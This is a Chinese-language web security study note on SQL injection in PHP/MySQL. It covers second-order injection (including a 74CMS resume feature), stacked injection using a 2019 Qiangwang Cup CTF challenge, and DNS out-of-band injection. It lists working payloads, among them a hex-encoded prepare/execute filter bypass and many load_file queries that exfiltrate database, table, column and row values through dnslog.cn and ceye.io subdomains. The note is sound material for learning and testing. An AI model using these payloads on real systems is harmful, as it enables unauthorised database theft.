第45天:WEB攻防-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件
PHP-MYSQL-二次注入-DEMO&74CMS 1、DEMO-用户注册登录修改密码 ①未登录前修改
②登录后的修改-修改过程直接验证旧密码和接受新密码
一般他会要你输入你的用户名吗?不需要
用户名从哪里来?
获取当前你登录的用户名当作修改条件
update users set password='a123456' where username='killmen'
killmen’ and updatexml()….
如果源码里面有转义:前加’后加#是没用的 ,会报错,插入不进去
二次注入的条件 ①必须要有这一句 :$username = addslashes($_POST['username']);
(这句本是防止普通单独注入)
②有先插入后利用的功能
二次注入通常是在白盒下审计代码申出来的,黑盒未知代码则很难测试
2、CMS-74CMS个人中心简历功能 黑盒思路:分析功能有添加后对数据操作的地方 (功能点)
白盒思路:insert后进入select或update的功能的代码块
注入条件:插入时有转义函数或配置,后续有利用插入的数据
PHP-MYSQL-堆叠注入-DEMO&CTF强网 堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句 ,
例如php中的mysqli_multi_query
函数。与之相对应的mysqli_query()
只能执行一条SQL ,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()
这样的函数,根据数据库类型决定是否支持多条语句执行。
堆叠注入条件 1、目标存在sql注入漏洞
2、目标未对”;
“号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句
支持堆叠数据库:MYSQL MSSQL Postgresql等
2019强网杯-随便注(CTF题型) 堆叠注入和二次注入喜欢在CTF里考,真实就是看白盒审计
1 2 3 4 5 6 7 8 9 10 ';show databases; ' ;show tables;';show columns from `1919810931114514`; ' ;select flag from `1919810931114514 `; #有时候过滤了select 等关键字,可用以下方法:利用变量把查询语句加密后赋值到SeT 里';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
PHP-MYSQL-带外注入-DEMO&DNSLOG 太花里胡哨了,面试题会问,实战没有哦,有高权限还load_file(),整那么多没用的带外干啥
0.注入条件 **ROOT高权限且支持load_file()
**【打开控制安全文件开关:secure-file-priv=
】
有部分注入点是没有回显的,所有读取也是没回显的,采用带外
1.使用平台 http://ceye.io
http://www.dnslog.cn
2.带外应用场景 解决不回显,反向连接,SQL注入,命令执行,SSRF等
SQL注入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 select load_file (concat ('\\\\' ,(select database ()),'.7logee.dnslog.cn\\aa' ));and (select load_file (concat ('//' ,(select database ()),'.69knl9.dnslog.cn/abc' ))) id=1 and load_file (concat ("\\\\" ,database (),".dbuh8a.ceye.io\\asdt" )) id=1 and load_file (concat ("\\\\" ,(select schema_name from information_schema.schemata limit 0 ,1 ),".dbuh8a.ceye.io\\xxx.txt" ))"" " 由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数 limit 0,1 查询第一个数据库名 limit 1,1 查询第二个数据库名 limit 2,1 查询第三个数据库名 " "" id=1 and load_file (concat ("\\\\" ,version (),".dbuh8a.ceye.io\\xxx.txt" )) id=1 and load_file (concat ("\\\\" ,(select table_name from information_schema.tables where table_schema='demo01' limit 0 ,1 ),".dbuh8a.ceye.io\\xxx.txt" ))"" " 由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数 limit 0,1 查询第一个表名 limit 1,1 查询第二个表名 limit 2,1 查询第三个表名 " "" id=1 and load_file (concat ("\\\\" ,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0 ,1 ),".dbuh8a.ceye.io\\xxx.txt" )) id=1 and load_file (concat ("\\\\" ,(select id from security.emails limit 0 ,1 ),".dbuh8a.ceye.io\\xxx.txt" ))